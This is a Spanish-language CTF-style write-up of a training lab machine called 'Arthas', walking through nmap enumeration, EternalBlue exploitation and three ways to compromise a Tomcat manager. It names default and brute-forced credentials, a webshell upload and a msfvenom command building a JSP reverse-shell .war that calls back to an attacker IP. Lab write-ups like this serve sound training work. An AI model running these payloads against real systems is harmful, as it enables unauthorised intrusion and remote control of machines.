Buenas!
Tras una larga pausa, continuamos publicando algunas de los write-up de las máquinas que se han empleado en las diferentes fases del taller «Pentesting4ever» que he estado impartiendo en Euskalhack, Navaja Negra o HoneyCon. Anteriormente ya se publicó la de Illidan que se vio en Euskalhack V:
https://fwhibbit.es/euskalhack-iv-pentesting4ever-illidan
En esta ocasión, se trata de la máquina Arthas, una máquina realmente sencilla, pero desde mi punto de vista muy dinámica para consolidar como lograr comprometer una máquina desde un servidor de aplicaciones durante un test de intrusión interno.
Se divide la solución en las diferentes fases:
- Enumeración
- Explotación
- Escalada de privilegios (en este caso no es necesario)
Enumeración
Empleando nmap se identifican los puertos abiertos, así como los servicios que se encuentran corriendo:
nmap -sV -T4 -v 192.168.0.160 –open
De primeras se identifican puertos y servicios bastantes llamativos como es SMB (445), RDP (3389) o Apache Tomcat (8080).
Para el servicio SMB en el primer análisis nmap no ha sido capaz de facilitar la versión exacta del sistema operativo. Para ello, se puede lanzar un script dedicado para obtener la versión, que se puede encontrar en su directorio instalado por defecto en la kali: /usr/share/nmap/scripts/:
nmap -p 445 –script smb-os-discovery 192.168.0.160 -T4
Como se aprecia se identifica que se trata de un sistema operativo Windows 7 Ultimate. Nada más ver esto, lo primero que se deberia venir a la cabeza es chequear si ha sido parcheado a Eternalblue. Para ello, se puede hacer uso nuevamente en los scripts de nmap, en este caso en: smb-vuln-ms17-010
nmap -p 445 –script smb-vuln-ms17-010 -T4 192.168.0.160
De la misma manera, se puede hacer uso de metasploit, que dispone de un auxiliary para chequearlo:
Explotación
Efectivamente, se comprueba que no se ha parcheado la máquina y es vulnerable. Seleccionando el exploit correspondiente en metasploit y configurándolo, se procede a lanzar:
Logrando obtener una shell reversa con el usuario system. ¿Muy fácil no?
A continuación, se pasa al Apache Tomcat que como se vio está en el puerto 8080:
Además, se puede identificar su versión, por lo que se recomienda visitar exploit-db o bien consultar a Google por si posee alguna vulnerabilidad en pre-autenticación, sin embargo, no es el caso. Ahora bien nada más verlo, accediendo a la parte autenticado pulsando en «Manager App» aparece un pop-up mediante una autenticación básica solicitando las credenciales de acceso. Si no nos acordamos, se puede cancelar y ya directamente Tomcat nos lo indica en la página de error 401 -> tomcat:secr3t
Desafortunadamente para nosotros, el sysadmin de turno las cambió, por lo tanto, se procede a aplicar una pequeña técnica de fuerza bruta y rápidamente se encuentra que las credenciales son admin:admin (no se comió mucho la cabeza xd). Típica configuración que se encuentra en la parte interna de muchas organizaciones en donde los sysadmin han priorizado la usabilidad y comodidad. De esta manera, se logra acceder a la parte autenticada:
En este punto, se explican tres métodos de explotación de Apache Tomcat:
Webshell
Se procede a subir una webshell en .war que se puede encontrar aquí: https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/laudanum-0.8/jsp/cmd.war
Apache Tomcat se encuentra desarrollado en Java, sin embargo, a través de la funcionalidad de subida espera recibir un fichero comprimido en «.war» que internamente descomprime en .jsp
Una vez subido, accediendo a él se tiene ejecución remota de comandos:
El servicio se encuentra corriendo sobre el usuario «francisco». A continuación, se verifica qué tipo de usuario es:
A pesar de no estar ejecutándose el servicio con el usuario system, sí lo esta haciendo con un usuario que es administrador local, por lo que no se está respetando el principio de mínimo privilegio. Desde este escenario, se podría crear un usuario local en la máquina y añadirlo al grupo de administradores para posteriormente acceder a la máquina por RDP (acordaos que estaba abierto) para continuar la fase de postexplotación, o bien mediante powershell descargar nc.exe en la máquina víctima para lograr una shell reversa.
Shell reversa
En esta ocasión haciendo uso de msfvenom se crea un payload para que al ejecutar directamente la máquina (previa subida) víctima se conecta a la máquina atacante. Para ello, se indica que es una arquitectura de 64 bits, se le pasa el payload en java, la IP de la máquina atacante y el puerto en donde se encontrará el listener y la salida en .war:
msfvenom -a x64 -p java/jsp_shell_reverse_tcp lhost=192.168.0.162 lport=6667 -f war > shell.war
Del mismo modo que se ha explicado anteriormente, se procede a subir el fichero y se accede a él en el dashboard, en donde se sabrá que funciona a priori al quedarse el navegador digamos «pensando»:
Previamente, se pone el listener a la escucha para recibir la comunicación:
Metasploit
La última opción es la más sencilla y la que personalmente menos me gusta, pues como se vio durante el taller en ocasiones fallaba. Se busca el módulo «multi/http/tomcat_mgr_upload» y se configura indicando las credenciales de acceso, el puerto (en este caso el 8080) y el payload si se desea, configurando una sesión en meterpreter. Se hace así y …
Todos juankeados xd
Poco más que añadir, faltaría comprobar si el servicio de RDP es vulnerable a BlueKeep, aunque os adelanto que para la versión de Windows 7 instalada en la máquina no funciona para el módulo liberado en metasploit.
Para cerrar se trata de la máquina más sencilla en las diferentes versiones del taller Pentesting4ever pero que todos debemos conocer para saber como enfrentarnos a ella si nos la encontramos durante algún de test de intrusión.
Nos vemos en la próxima entrada 😉
Saludos.
N4x4ck5
«La mejor defensa, es un buen ataque»